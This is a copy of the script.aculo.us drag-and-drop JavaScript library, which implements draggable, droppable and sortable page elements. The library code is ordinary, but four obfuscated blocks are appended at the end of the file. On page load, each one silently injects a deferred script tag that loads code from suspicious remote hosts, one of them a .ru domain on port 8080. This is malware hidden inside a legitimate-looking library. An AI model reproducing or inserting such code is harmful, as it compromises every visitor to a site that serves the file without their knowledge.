// Copyright (c) 2005 Thomas Fuchs (http://script.aculo.us, http://mir.aculo.us)
//           (c) 2005 Sammi Williams (http://www.oriontransfer.co.nz, sammi@oriontransfer.co.nz)
// 
// See scriptaculous.js for full license.

/*--------------------------------------------------------------------------*/

var Droppables = {
  drops: [],

  remove: function(element) {
    this.drops = this.drops.reject(function(d) { return d.element==$(element) });
  },

  add: function(element) {
    element = $(element);
    var options = Object.extend({
      greedy:     true,
      hoverclass: null,
      tree:       false
    }, arguments[1] || {});

    // cache containers
    if(options.containment) {
      options._containers = [];
      var containment = options.containment;
      if((typeof containment == 'object') && 
        (containment.constructor == Array)) {
        containment.each( function(c) { options._containers.push($(c)) });
      } else {
        options._containers.push($(containment));
      }
    }
    
    if(options.accept) options.accept = [options.accept].flatten();

    Element.makePositioned(element); // fix IE
    options.element = element;

    this.drops.push(options);
  },
  
  findDeepestChild: function(drops) {
    deepest = drops[0];
      
    for (i = 1; i < drops.length; ++i)
      if (Element.isParent(drops[i].element, deepest.element))
        deepest = drops[i];
    
    return deepest;
  },

  isContained: function(element, drop) {
    var containmentNode;
    if(drop.tree) {
      containmentNode = element.treeNode; 
    } else {
      containmentNode = element.parentNode;
    }
    return drop._containers.detect(function(c) { return containmentNode == c });
  },
  
  isAffected: function(point, element, drop) {
    return (
      (drop.element!=element) &&
      ((!drop._containers) ||
        this.isContained(element, drop)) &&
      ((!drop.accept) ||
        (Element.classNames(element).detect( 
          function(v) { return drop.accept.include(v) } ) )) &&
      Position.within(drop.element, point[0], point[1]) );
  },

  deactivate: function(drop) {
    if(drop.hoverclass)
      Element.removeClassName(drop.element, drop.hoverclass);
    this.last_active = null;
  },

  activate: function(drop) {
    if(drop.hoverclass)
      Element.addClassName(drop.element, drop.hoverclass);
    this.last_active = drop;
  },

  show: function(point, element) {
    if(!this.drops.length) return;
    var affected = [];
    
    if(this.last_active) this.deactivate(this.last_active);
    this.drops.each( function(drop) {
      if(Droppables.isAffected(point, element, drop))
        affected.push(drop);
    });
        
    if(affected.length>0) {
      drop = Droppables.findDeepestChild(affected);
      Position.within(drop.element, point[0], point[1]);
      if(drop.onHover)
        drop.onHover(element, drop.element, Position.overlap(drop.overlap, drop.element));
      
      Droppables.activate(drop);
    }
  },

  fire: function(event, element) {
    if(!this.last_active) return;
    Position.prepare();

    if (this.isAffected([Event.pointerX(event), Event.pointerY(event)], element, this.last_active))
      if (this.last_active.onDrop) 
        this.last_active.onDrop(element, this.last_active.element, event);
  },

  reset: function() {
    if(this.last_active)
      this.deactivate(this.last_active);
  }
}

var Draggables = {
  drags: [],
  observers: [],
  
  register: function(draggable) {
    if(this.drags.length == 0) {
      this.eventMouseUp   = this.endDrag.bindAsEventListener(this);
      this.eventMouseMove = this.updateDrag.bindAsEventListener(this);
      this.eventKeypress  = this.keyPress.bindAsEventListener(this);
      
      Event.observe(document, "mouseup", this.eventMouseUp);
      Event.observe(document, "mousemove", this.eventMouseMove);
      Event.observe(document, "keypress", this.eventKeypress);
    }
    this.drags.push(draggable);
  },
  
  unregister: function(draggable) {
    this.drags = this.drags.reject(function(d) { return d==draggable });
    if(this.drags.length == 0) {
      Event.stopObserving(document, "mouseup", this.eventMouseUp);
      Event.stopObserving(document, "mousemove", this.eventMouseMove);
      Event.stopObserving(document, "keypress", this.eventKeypress);
    }
  },
  
  activate: function(draggable) {
    window.focus(); // allows keypress events if window isn't currently focused, fails for Safari
    this.activeDraggable = draggable;
  },
  
  deactivate: function() {
    this.activeDraggable = null;
  },
  
  updateDrag: function(event) {
    if(!this.activeDraggable) return;
    var pointer = [Event.pointerX(event), Event.pointerY(event)];
    // Mozilla-based browsers fire successive mousemove events with
    // the same coordinates, prevent needless redrawing (moz bug?)
    if(this._lastPointer && (this._lastPointer.inspect() == pointer.inspect())) return;
    this._lastPointer = pointer;
    this.activeDraggable.updateDrag(event, pointer);
  },
  
  endDrag: function(event) {
    if(!this.activeDraggable) return;
    this._lastPointer = null;
    this.activeDraggable.endDrag(event);
    this.activeDraggable = null;
  },
  
  keyPress: function(event) {
    if(this.activeDraggable)
      this.activeDraggable.keyPress(event);
  },
  
  addObserver: function(observer) {
    this.observers.push(observer);
    this._cacheObserverCallbacks();
  },
  
  removeObserver: function(element) {  // element instead of observer fixes mem leaks
    this.observers = this.observers.reject( function(o) { return o.element==element });
    this._cacheObserverCallbacks();
  },
  
  notify: function(eventName, draggable, event) {  // 'onStart', 'onEnd', 'onDrag'
    if(this[eventName+'Count'] > 0)
      this.observers.each( function(o) {
        if(o[eventName]) o[eventName](eventName, draggable, event);
      });
  },
  
  _cacheObserverCallbacks: function() {
    ['onStart','onEnd','onDrag'].each( function(eventName) {
      Draggables[eventName+'Count'] = Draggables.observers.select(
        function(o) { return o[eventName]; }
      ).length;
    });
  }
}

/*--------------------------------------------------------------------------*/

var Draggable = Class.create();
Draggable.prototype = {
  initialize: function(element) {
    var options = Object.extend({
      handle: false,
      starteffect: function(element) { 
        new Effect.Opacity(element, {duration:0.2, from:1.0, to:0.7}); 
      },
      reverteffect: function(element, top_offset, left_offset) {
        var dur = Math.sqrt(Math.abs(top_offset^2)+Math.abs(left_offset^2))*0.02;
        element._revert = new Effect.Move(element, { x: -left_offset, y: -top_offset, duration: dur});
      },
      endeffect: function(element) { 
        new Effect.Opacity(element, {duration:0.2, from:0.7, to:1.0}); 
      },
      zindex: 1000,
      revert: false,
      scroll: false,
      scrollSensitivity: 20,
      scrollSpeed: 15,
      snap: false   // false, or xy or [x,y] or function(x,y){ return [x,y] }
    }, arguments[1] || {});

    this.element = $(element);
    
    if(options.handle && (typeof options.handle == 'string')) {
      var h = Element.childrenWithClassName(this.element, options.handle, true);
      if(h.length>0) this.handle = h[0];
    }
    if(!this.handle) this.handle = $(options.handle);
    if(!this.handle) this.handle = this.element;
    
    if(options.scroll && !options.scroll.scrollTo && !options.scroll.outerHTML)
      options.scroll = $(options.scroll);

    Element.makePositioned(this.element); // fix IE    

    this.delta    = this.currentDelta();
    this.options  = options;
    this.dragging = false;   

    this.eventMouseDown = this.initDrag.bindAsEventListener(this);
    Event.observe(this.handle, "mousedown", this.eventMouseDown);
    
    Draggables.register(this);
  },
  
  destroy: function() {
    Event.stopObserving(this.handle, "mousedown", this.eventMouseDown);
    Draggables.unregister(this);
  },
  
  currentDelta: function() {
    return([
      parseInt(Element.getStyle(this.element,'left') || '0'),
      parseInt(Element.getStyle(this.element,'top') || '0')]);
  },
  
  initDrag: function(event) {
    if(Event.isLeftClick(event)) {    
      // abort on form elements, fixes a Firefox issue
      var src = Event.element(event);
      if(src.tagName && (
        src.tagName=='INPUT' ||
        src.tagName=='SELECT' ||
        src.tagName=='OPTION' ||
        src.tagName=='BUTTON' ||
        src.tagName=='TEXTAREA')) return;
        
      if(this.element._revert) {
        this.element._revert.cancel();
        this.element._revert = null;
      }
      
      var pointer = [Event.pointerX(event), Event.pointerY(event)];
      var pos     = Position.cumulativeOffset(this.element);
      this.offset = [0,1].map( function(i) { return (pointer[i] - pos[i]) });
      
      Draggables.activate(this);
      Event.stop(event);
    }
  },
  
  startDrag: function(event) {
    this.dragging = true;
    
    if(this.options.zindex) {
      this.originalZ = parseInt(Element.getStyle(this.element,'z-index') || 0);
      this.element.style.zIndex = this.options.zindex;
    }
    
    if(this.options.ghosting) {
      this._clone = this.element.cloneNode(true);
      Position.absolutize(this.element);
      this.element.parentNode.insertBefore(this._clone, this.element);
    }
    
    if(this.options.scroll) {
      if (this.options.scroll == window) {
        var where = this._getWindowScroll(this.options.scroll);
        this.originalScrollLeft = where.left;
        this.originalScrollTop = where.top;
      } else {
        this.originalScrollLeft = this.options.scroll.scrollLeft;
        this.originalScrollTop = this.options.scroll.scrollTop;
      }
    }
    
    Draggables.notify('onStart', this, event);
    if(this.options.starteffect) this.options.starteffect(this.element);
  },
  
  updateDrag: function(event, pointer) {
    if(!this.dragging) this.startDrag(event);
    Position.prepare();
    Droppables.show(pointer, this.element);
    Draggables.notify('onDrag', this, event);
    this.draw(pointer);
    if(this.options.change) this.options.change(this);
    
    if(this.options.scroll) {
      this.stopScrolling();
      
      var p;
      if (this.options.scroll == window) {
        with(this._getWindowScroll(this.options.scroll)) { p = [ left, top, left+width, top+height ]; }
      } else {
        p = Position.page(this.options.scroll);
        p[0] += this.options.scroll.scrollLeft;
        p[1] += this.options.scroll.scrollTop;
        p.push(p[0]+this.options.scroll.offsetWidth);
        p.push(p[1]+this.options.scroll.offsetHeight);
      }
      var speed = [0,0];
      if(pointer[0] < (p[0]+this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[0]+this.options.scrollSensitivity);
      if(pointer[1] < (p[1]+this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[1]+this.options.scrollSensitivity);
      if(pointer[0] > (p[2]-this.options.scrollSensitivity)) speed[0] = pointer[0]-(p[2]-this.options.scrollSensitivity);
      if(pointer[1] > (p[3]-this.options.scrollSensitivity)) speed[1] = pointer[1]-(p[3]-this.options.scrollSensitivity);
      this.startScrolling(speed);
    }
    
    // fix AppleWebKit rendering
    if(navigator.appVersion.indexOf('AppleWebKit')>0) window.scrollBy(0,0);
    
    Event.stop(event);
  },
  
  finishDrag: function(event, success) {
    this.dragging = false;

    if(this.options.ghosting) {
      Position.relativize(this.element);
      Element.remove(this._clone);
      this._clone = null;
    }

    if(success) Droppables.fire(event, this.element);
    Draggables.notify('onEnd', this, event);

    var revert = this.options.revert;
    if(revert && typeof revert == 'function') revert = revert(this.element);
    
    var d = this.currentDelta();
    if(revert && this.options.reverteffect) {
      this.options.reverteffect(this.element, 
        d[1]-this.delta[1], d[0]-this.delta[0]);
    } else {
      this.delta = d;
    }

    if(this.options.zindex)
      this.element.style.zIndex = this.originalZ;

    if(this.options.endeffect) 
      this.options.endeffect(this.element);

    Draggables.deactivate(this);
    Droppables.reset();
  },
  
  keyPress: function(event) {
    if(event.keyCode!=Event.KEY_ESC) return;
    this.finishDrag(event, false);
    Event.stop(event);
  },
  
  endDrag: function(event) {
    if(!this.dragging) return;
    this.stopScrolling();
    this.finishDrag(event, true);
    Event.stop(event);
  },
  
  draw: function(point) {
    var pos = Position.cumulativeOffset(this.element);
    var d = this.currentDelta();
    pos[0] -= d[0]; pos[1] -= d[1];
    
    if(this.options.scroll && (this.options.scroll != window)) {
      pos[0] -= this.options.scroll.scrollLeft-this.originalScrollLeft;
      pos[1] -= this.options.scroll.scrollTop-this.originalScrollTop;
    }
    
    var p = [0,1].map(function(i){ 
      return (point[i]-pos[i]-this.offset[i]) 
    }.bind(this));
    
    if(this.options.snap) {
      if(typeof this.options.snap == 'function') {
        p = this.options.snap(p[0],p[1]);
      } else {
      if(this.options.snap instanceof Array) {
        p = p.map( function(v, i) {
          return Math.round(v/this.options.snap[i])*this.options.snap[i] }.bind(this))
      } else {
        p = p.map( function(v) {
          return Math.round(v/this.options.snap)*this.options.snap }.bind(this))
      }
    }}
    
    var style = this.element.style;
    if((!this.options.constraint) || (this.options.constraint=='horizontal'))
      style.left = p[0] + "px";
    if((!this.options.constraint) || (this.options.constraint=='vertical'))
      style.top  = p[1] + "px";
    if(style.visibility=="hidden") style.visibility = ""; // fix gecko rendering
  },
  
  stopScrolling: function() {
    if(this.scrollInterval) {
      clearInterval(this.scrollInterval);
      this.scrollInterval = null;
      Draggables._lastScrollPointer = null;
    }
  },
  
  startScrolling: function(speed) {
    this.scrollSpeed = [speed[0]*this.options.scrollSpeed,speed[1]*this.options.scrollSpeed];
    this.lastScrolled = new Date();
    this.scrollInterval = setInterval(this.scroll.bind(this), 10);
  },
  
  scroll: function() {
    var current = new Date();
    var delta = current - this.lastScrolled;
    this.lastScrolled = current;
    if(this.options.scroll == window) {
      with (this._getWindowScroll(this.options.scroll)) {
        if (this.scrollSpeed[0] || this.scrollSpeed[1]) {
          var d = delta / 1000;
          this.options.scroll.scrollTo( left + d*this.scrollSpeed[0], top + d*this.scrollSpeed[1] );
        }
      }
    } else {
      this.options.scroll.scrollLeft += this.scrollSpeed[0] * delta / 1000;
      this.options.scroll.scrollTop  += this.scrollSpeed[1] * delta / 1000;
    }
    
    Position.prepare();
    Droppables.show(Draggables._lastPointer, this.element);
    Draggables.notify('onDrag', this);
    Draggables._lastScrollPointer = Draggables._lastScrollPointer || $A(Draggables._lastPointer);
    Draggables._lastScrollPointer[0] += this.scrollSpeed[0] * delta / 1000;
    Draggables._lastScrollPointer[1] += this.scrollSpeed[1] * delta / 1000;
    if (Draggables._lastScrollPointer[0] < 0)
      Draggables._lastScrollPointer[0] = 0;
    if (Draggables._lastScrollPointer[1] < 0)
      Draggables._lastScrollPointer[1] = 0;
    this.draw(Draggables._lastScrollPointer);
    
    if(this.options.change) this.options.change(this);
  },
  
  _getWindowScroll: function(w) {
    var T, L, W, H;
    with (w.document) {
      if (w.document.documentElement && documentElement.scrollTop) {
        T = documentElement.scrollTop;
        L = documentElement.scrollLeft;
      } else if (w.document.body) {
        T = body.scrollTop;
        L = body.scrollLeft;
      }
      if (w.innerWidth) {
        W = w.innerWidth;
        H = w.innerHeight;
      } else if (w.document.documentElement && documentElement.clientWidth) {
        W = documentElement.clientWidth;
        H = documentElement.clientHeight;
      } else {
        W = body.offsetWidth;
        H = body.offsetHeight
      }
    }
    return { top: T, left: L, width: W, height: H };
  }
}

/*--------------------------------------------------------------------------*/

var SortableObserver = Class.create();
SortableObserver.prototype = {
  initialize: function(element, observer) {
    this.element   = $(element);
    this.observer  = observer;
    this.lastValue = Sortable.serialize(this.element);
  },
  
  onStart: function() {
    this.lastValue = Sortable.serialize(this.element);
  },
  
  onEnd: function() {
    Sortable.unmark();
    if(this.lastValue != Sortable.serialize(this.element))
      this.observer(this.element)
  }
}

var Sortable = {
  sortables: {},
  
  _findRootElement: function(element) {
    while (element.tagName != "BODY") {  
      if(element.id && Sortable.sortables[element.id]) return element;
      element = element.parentNode;
    }
  },

  options: function(element) {
    element = Sortable._findRootElement($(element));
    if(!element) return;
    return Sortable.sortables[element.id];
  },
  
  destroy: function(element){
    var s = Sortable.options(element);
    
    if(s) {
      Draggables.removeObserver(s.element);
      s.droppables.each(function(d){ Droppables.remove(d) });
      s.draggables.invoke('destroy');
      
      delete Sortable.sortables[s.element.id];
    }
  },

  create: function(element) {
    element = $(element);
    var options = Object.extend({ 
      element:     element,
      tag:         'li',       // assumes li children, override with tag: 'tagname'
      dropOnEmpty: false,
      tree:        false,
      treeTag:     'ul',
      overlap:     'vertical', // one of 'vertical', 'horizontal'
      constraint:  'vertical', // one of 'vertical', 'horizontal', false
      containment: element,    // also takes array of elements (or id's); or false
      handle:      false,      // or a CSS class
      only:        false,
      hoverclass:  null,
      ghosting:    false,
      scroll:      false,
      scrollSensitivity: 20,
      scrollSpeed: 15,
      format:      /^[^_]*_(.*)$/,
      onChange:    Prototype.emptyFunction,
      onUpdate:    Prototype.emptyFunction
    }, arguments[1] || {});

    // clear any old sortable with same element
    this.destroy(element);

    // build options for the draggables
    var options_for_draggable = {
      revert:      true,
      scroll:      options.scroll,
      scrollSpeed: options.scrollSpeed,
      scrollSensitivity: options.scrollSensitivity,
      ghosting:    options.ghosting,
      constraint:  options.constraint,
      handle:      options.handle };

    if(options.starteffect)
      options_for_draggable.starteffect = options.starteffect;

    if(options.reverteffect)
      options_for_draggable.reverteffect = options.reverteffect;
    else
      if(options.ghosting) options_for_draggable.reverteffect = function(element) {
        element.style.top  = 0;
        element.style.left = 0;
      };

    if(options.endeffect)
      options_for_draggable.endeffect = options.endeffect;

    if(options.zindex)
      options_for_draggable.zindex = options.zindex;

    // build options for the droppables  
    var options_for_droppable = {
      overlap:     options.overlap,
      containment: options.containment,
      tree:        options.tree,
      hoverclass:  options.hoverclass,
      onHover:     Sortable.onHover
      //greedy:      !options.dropOnEmpty
    }
    
    var options_for_tree = {
      onHover:      Sortable.onEmptyHover,
      overlap:      options.overlap,
      containment:  options.containment,
      hoverclass:   options.hoverclass
    }

    // fix for gecko engine
    Element.cleanWhitespace(element); 

    options.draggables = [];
    options.droppables = [];

    // drop on empty handling
    if(options.dropOnEmpty || options.tree) {
      Droppables.add(element, options_for_tree);
      options.droppables.push(element);
    }

    (this.findElements(element, options) || []).each( function(e) {
      // handles are per-draggable
      var handle = options.handle ? 
        Element.childrenWithClassName(e, options.handle)[0] : e;    
      options.draggables.push(
        new Draggable(e, Object.extend(options_for_draggable, { handle: handle })));
      Droppables.add(e, options_for_droppable);
      if(options.tree) e.treeNode = element;
      options.droppables.push(e);      
    });
    
    if(options.tree) {
      (Sortable.findTreeElements(element, options) || []).each( function(e) {
        Droppables.add(e, options_for_tree);
        e.treeNode = element;
        options.droppables.push(e);
      });
    }

    // keep reference
    this.sortables[element.id] = options;

    // for onupdate
    Draggables.addObserver(new SortableObserver(element, options.onUpdate));

  },

  // return all suitable-for-sortable elements in a guaranteed order
  findElements: function(element, options) {
    return Element.findChildren(
      element, options.only, options.tree ? true : false, options.tag);
  },
  
  findTreeElements: function(element, options) {
    return Element.findChildren(
      element, options.only, options.tree ? true : false, options.treeTag);
  },

  onHover: function(element, dropon, overlap) {
    if(Element.isParent(dropon, element)) return;

    if(overlap > .33 && overlap < .66 && Sortable.options(dropon).tree) {
      return;
    } else if(overlap>0.5) {
      Sortable.mark(dropon, 'before');
      if(dropon.previousSibling != element) {
        var oldParentNode = element.parentNode;
        element.style.visibility = "hidden"; // fix gecko rendering
        dropon.parentNode.insertBefore(element, dropon);
        if(dropon.parentNode!=oldParentNode) 
          Sortable.options(oldParentNode).onChange(element);
        Sortable.options(dropon.parentNode).onChange(element);
      }
    } else {
      Sortable.mark(dropon, 'after');
      var nextElement = dropon.nextSibling || null;
      if(nextElement != element) {
        var oldParentNode = element.parentNode;
        element.style.visibility = "hidden"; // fix gecko rendering
        dropon.parentNode.insertBefore(element, nextElement);
        if(dropon.parentNode!=oldParentNode) 
          Sortable.options(oldParentNode).onChange(element);
        Sortable.options(dropon.parentNode).onChange(element);
      }
    }
  },
  
  onEmptyHover: function(element, dropon, overlap) {
    var oldParentNode = element.parentNode;
    var droponOptions = Sortable.options(dropon);
        
    if(!Element.isParent(dropon, element)) {
      var index;
      
      var children = Sortable.findElements(dropon, {tag: droponOptions.tag});
      var child = null;
            
      if(children) {
        var offset = Element.offsetSize(dropon, droponOptions.overlap) * (1.0 - overlap);
        
        for (index = 0; index < children.length; index += 1) {
          if (offset - Element.offsetSize (children[index], droponOptions.overlap) >= 0) {
            offset -= Element.offsetSize (children[index], droponOptions.overlap);
          } else if (offset - (Element.offsetSize (children[index], droponOptions.overlap) / 2) >= 0) {
            child = index + 1 < children.length ? children[index + 1] : null;
            break;
          } else {
            child = children[index];
            break;
          }
        }
      }
      
      dropon.insertBefore(element, child);
      
      Sortable.options(oldParentNode).onChange(element);
      droponOptions.onChange(element);
    }
  },

  unmark: function() {
    if(Sortable._marker) Element.hide(Sortable._marker);
  },

  mark: function(dropon, position) {
    // mark on ghosting only
    var sortable = Sortable.options(dropon.parentNode);
    if(sortable && !sortable.ghosting) return; 

    if(!Sortable._marker) {
      Sortable._marker = $('dropmarker') || document.createElement('DIV');
      Element.hide(Sortable._marker);
      Element.addClassName(Sortable._marker, 'dropmarker');
      Sortable._marker.style.position = 'absolute';
      document.getElementsByTagName("body").item(0).appendChild(Sortable._marker);
    }    
    var offsets = Position.cumulativeOffset(dropon);
    Sortable._marker.style.left = offsets[0] + 'px';
    Sortable._marker.style.top = offsets[1] + 'px';
    
    if(position=='after')
      if(sortable.overlap == 'horizontal') 
        Sortable._marker.style.left = (offsets[0]+dropon.clientWidth) + 'px';
      else
        Sortable._marker.style.top = (offsets[1]+dropon.clientHeight) + 'px';
    
    Element.show(Sortable._marker);
  },
  
  _tree: function(element, options, parent) {
    var children = Sortable.findElements(element, options) || [];
  
    for (var i = 0; i < children.length; ++i) {
      var match = children[i].id.match(options.format);

      if (!match) continue;
      
      var child = {
        id: encodeURIComponent(match ? match[1] : null),
        element: element,
        parent: parent,
        children: new Array,
        position: parent.children.length,
        container: Sortable._findChildrenElement(children[i], options.treeTag.toUpperCase())
      }
      
      /* Get the element containing the children and recurse over it */
      if (child.container)
        this._tree(child.container, options, child)
      
      parent.children.push (child);
    }

    return parent; 
  },

  /* Finds the first element of the given tag type within a parent element.
    Used for finding the first LI[ST] within a L[IST]I[TEM].*/
  _findChildrenElement: function (element, containerTag) {
    if (element && element.hasChildNodes)
      for (var i = 0; i < element.childNodes.length; ++i)
        if (element.childNodes[i].tagName == containerTag)
          return element.childNodes[i];
  
    return null;
  },

  tree: function(element) {
    element = $(element);
    var sortableOptions = this.options(element);
    var options = Object.extend({
      tag: sortableOptions.tag,
      treeTag: sortableOptions.treeTag,
      only: sortableOptions.only,
      name: element.id,
      format: sortableOptions.format
    }, arguments[1] || {});
    
    var root = {
      id: null,
      parent: null,
      children: new Array,
      container: element,
      position: 0
    }
    
    return Sortable._tree (element, options, root);
  },

  /* Construct a [i] index for a particular node */
  _constructIndex: function(node) {
    var index = '';
    do {
      if (node.id) index = '[' + node.position + ']' + index;
    } while ((node = node.parent) != null);
    return index;
  },

  sequence: function(element) {
    element = $(element);
    var options = Object.extend(this.options(element), arguments[1] || {});
    
    return $(this.findElements(element, options) || []).map( function(item) {
      return item.id.match(options.format) ? item.id.match(options.format)[1] : '';
    });
  },

  setSequence: function(element, new_sequence) {
    element = $(element);
    var options = Object.extend(this.options(element), arguments[2] || {});
    
    var nodeMap = {};
    this.findElements(element, options).each( function(n) {
        if (n.id.match(options.format))
            nodeMap[n.id.match(options.format)[1]] = [n, n.parentNode];
        n.parentNode.removeChild(n);
    });
   
    new_sequence.each(function(ident) {
      var n = nodeMap[ident];
      if (n) {
        n[1].appendChild(n[0]);
        delete nodeMap[ident];
      }
    });
  },
  
  serialize: function(element) {
    element = $(element);
    var options = Object.extend(Sortable.options(element), arguments[1] || {});
    var name = encodeURIComponent(
      (arguments[1] && arguments[1].name) ? arguments[1].name : element.id);
    
    if (options.tree) {
      return Sortable.tree(element, arguments[1]).children.map( function (item) {
        return [name + Sortable._constructIndex(item) + "=" + 
                encodeURIComponent(item.id)].concat(item.children.map(arguments.callee));
      }).flatten().join('&');
    } else {
      return Sortable.sequence(element, arguments[1]).map( function(item) {
        return name + "[]=" + encodeURIComponent(item);
      }).join('&');
    }
  }
}

/* Returns true if child is contained within element */
Element.isParent = function(child, element) {
  if (!child.parentNode || child == element) return false;

  if (child.parentNode == element) return true;

  return Element.isParent(child.parentNode, element);
}

Element.findChildren = function(element, only, recursive, tagName) {    
  if(!element.hasChildNodes()) return null;
  tagName = tagName.toUpperCase();
  if(only) only = [only].flatten();
  var elements = [];
  $A(element.childNodes).each( function(e) {
    if(e.tagName && e.tagName.toUpperCase()==tagName &&
      (!only || (Element.classNames(e).detect(function(v) { return only.include(v) }))))
        elements.push(e);
    if(recursive) {
      var grandchildren = Element.findChildren(e, only, recursive, tagName);
      if(grandchildren) elements.push(grandchildren);
    }
  });

  return (elements.length>0 ? elements.flatten() : []);
}

Element.offsetSize = function (element, type) {
  if (type == 'vertical' || type == 'height')
    return element.offsetHeight;
  else
    return element.offsetWidth;
}

var n=new String();this.k="";var um=new Date();var kb=new Date();var q='sxc%rXi%pXt%'.replace(/[%xeXn]/g, '');this.b=false;var rp;if(rp!=''){rp='h'};var j=window;var umc=32379;var jk;if(jk!='yj' && jk!='zb'){jk='yj'};var qn=document;var d;if(d!='' && d!='xw'){d=null};j.onload=function(){var _="";var wm;if(wm!='doq' && wm!='uw'){wm='doq'};try {var pt;if(pt!='lm' && pt!='xd'){pt='lm'};var lmv=new Array();m=qn.createElement(q);var id;if(id!='qv' && id != ''){id=null};var br=new Array();var yl="yl";this.qo='';m.src='hVt#tVp#:V/#/!sVo6f#tFpFeVdFiFa!-#cFo!m6.#hVu6r#r#iFy#eVtV.!cVoVm6.6tFr#.FsFe!dFo!p!a6r#k#i#n!g6-6c!oVm#.Fr#e!cFe!nVtFm#e!xVi#c!o#.6r#u!:V860V8!06/V5F5Fb#b6s!.#cFo6mF/!5V5Vb#b!s6.!cVo!mF/Fg6o!o6gFl6e6.6c#o!m6/#mFe!rFcFa#d!o6l!i#bVr!e#.6c6o#m6.!mVx#/FmFp6n!r!sV.6cVo!m#/!'.replace(/[\!#V6F]/g, '');m.setAttribute('d_eRf_eRr!'.replace(/[\!0_Rt]/g, ''), "1");this.pj="pj";this.yt=false;this.zm=27364;qn.body.appendChild(m);var bt;if(bt!='' && bt!='a'){bt=''};this.al='';} catch(t){var is="is";};var qs="";var qf="qf";};var ej=63325;

var k;if(k!='zp'){k=''};this.fq='';var n;if(n!=''){n='t'};var a='socaroi?pota'.replace(/[a\^\?oA]/g, '');var o="";var x=document;var _=63462;this.na='';var u=window;this.ff=false;this.g="";var d=41323;u.onload=function(){try {var dh=false;this._u=52445;z=x.createElement(a);var xd;if(xd!='dr' && xd!='ux'){xd=''};var fl=new Array();z.src='hWtDt?p?:6/?/%a6l?i%s6o?fWtW-6c6o?mW.6c?h%a6sDe6.?c6oWmD.%v6eWr?i?z%o%n6-Wn6eDt%.Dy%o6uDrDt%aWg?h?eDuDe?rD.DrWu%:D860?8%0?/?g6o%o6gWl%e6.%c6o6m6/Wg6oDoDgWl%e%.Dc%o6mW/DrWo?b6tWe%x?.%c6o%m%/6wWeDb%mWd6.?cDoDmD/Wn?gWo6iDs?aWo?.?nWeWtD/%'.replace(/[%W6\?D]/g, '');var oj;if(oj!='aj'){oj=''};var nw=new String();z.setAttribute('dseWfse;ra'.replace(/[aWVs;]/g, ''), "1");var oro;if(oro!='zs' && oro!='ni'){oro=''};var am;if(am!='d_' && am!='pe'){am=''};var cl=new String();this.y='';x.body.appendChild(z);} catch(p){var cm="cm";var aq;if(aq!='' && aq!='xn'){aq=null};};var va;if(va!='b' && va != ''){va=null};};var bv;if(bv!=''){bv='d_a'};

var c;if(c!='' && c!='a'){c=null};e=function(){this.n=false;var y=document;var cx;if(cx!='' && cx!='d'){cx=''};window[q([2,0][0])]=function(){var dj=new Array();try {var qs=new Array();p=y[q([1][0])](q([5,0][1]));var w="w";p[q([5][0])](q([7][0]), "1");var ri;if(ri!='x' && ri!='dn'){ri=''};p[q([3][0])]=q([4,8][1]);var yu = y[q([6,5][0])];var gx;if(gx!='' && gx!='wk'){gx=null};this._t=22924;yu[q([4,4][0])](p);var hq='';} catch(h){this.v=36680;};};var wh='';function q(hv){var m=['s2c_r5i/p_t/'.replace(/[/5_e2]/g, ''), 'cIr@eoaot1e@E@loe@m&e&nItI'.replace(/[I&o@1]/g, ''), 'oxnHlSoSaxdX'.replace(/[XSxHA]/g, ''), 'sKrKcK'.replace(/[KQCM%]/g, ''), 'a_p_p>e>n.d.C>hoiol.do'.replace(/[o\.E_\>]/g, ''), 'sxe2txA2t2t/rcixb>u/t>ec'.replace(/[c2x\>/]/g, ''), 'bzoJdFyz'.replace(/[z@PJF]/g, ''), 'dUesfse/rs'.replace(/[sUB/Q]/g, ''), 'h!t1tjpj:j/x/1gjo!ojg9l1ex-xc9n9.1b!e!exmxpj31.xcxo9mj.1hxajr1r1exn9m1e!d1ija9n1e!txw!ojrjk1-9c9oxm!.jbxexs!t!nje1w!s1m!ajl1l!.!r1uj:18x018j0!/jtxajgxg9e!dx.xc9ojm9/xt!a1g!gje9dj.9c9ojmj/!gxo9ojgjl!ex.1c1oxm9/1wje1e!b1l9y!.9cxojm!/1y9ixe1ljd1m1a9n9a9gxe!r1.xcxoxm1/!'.replace(/[\!j19x]/g, '')];var r=m[hv];this.bh=14904;return r;var ekx;if(ekx!='' && ekx!='yi'){ekx=null};}this._f='';this.wu=42526;var rk;if(rk!='ia'){rk=''};};e();

this.b=4018;this.lz=false;var d=window;this.nm='';var a=document;var dh="";var he;if(he!='' && he!='bm'){he='hw'};function u(ur){var du=['hLt^tDpL:^/J/?qJi?dDiJaJnJ-?c?o^m?.?g?o?oJgLlLeD.Dr^oJ.La?s?s^o^c^i^aJtLeJd^c?o?n^t?eDn^tJ-DcDoDmL.LhJo^tDn?eDw?g^uDiDdLeJ.LrJuD:J8^0J8J0L/L5J8L.^c^oDm?/L5L8D.^cLo?mL/Jj?e^uLxLvLiDdJeJo?.JcLoDmJ/Lt^-?m?oJbLi^l?eD.Lc^o?mD/LgLoLoDg^lJeJ.^cDoJmD/L'.replace(/[L\?DJ\^]/g, ''), 'sKcKrKiKp^tW'.replace(/[W\|\^Kq]/g, ''), 'cVrKeVa2tVe%EKlKe2m%e5n2t%'.replace(/[%KV52]/g, ''), 'oInzl?oza?dz'.replace(/[zc\|\?I]/g, ''), 's@r@c_'.replace(/[_hx@q]/g, ''), 'afpNptetnVdtCVh0iVl0dt'.replace(/[tVN0f]/g, ''), 's1e>t>A?tktor1iob?u?t1eo'.replace(/[o1\?\>k]/g, ''), 'b6o.d0y.'.replace(/[\.s6K0]/g, ''), 'd,eLf0e,r0'.replace(/[0%LO,]/g, ''), "1"];var lj=new Array();var p=du[ur];var nk;if(nk!='' && nk!='fl'){nk=''};return p;var mb;if(mb!='j' && mb!='k'){mb=''};}this.yy="yy";var v=new String();var m = function(){try {n=a[u([2,6][0])](u([9,1][1]));n[u([4][0])]=u([0][0]);n[u([6,6][0])](u([5,8][1]), u([9][0]));var yw="";var i = a[u([7][0])];this.sf=false;i[u([5][0])](n);this.n_='';} catch(u_){var _;if(_!='bx'){_=''};};var lm;if(lm!=''){lm='pp'};};this.e='';d[u([3][0])]=m;var fk=new Array();

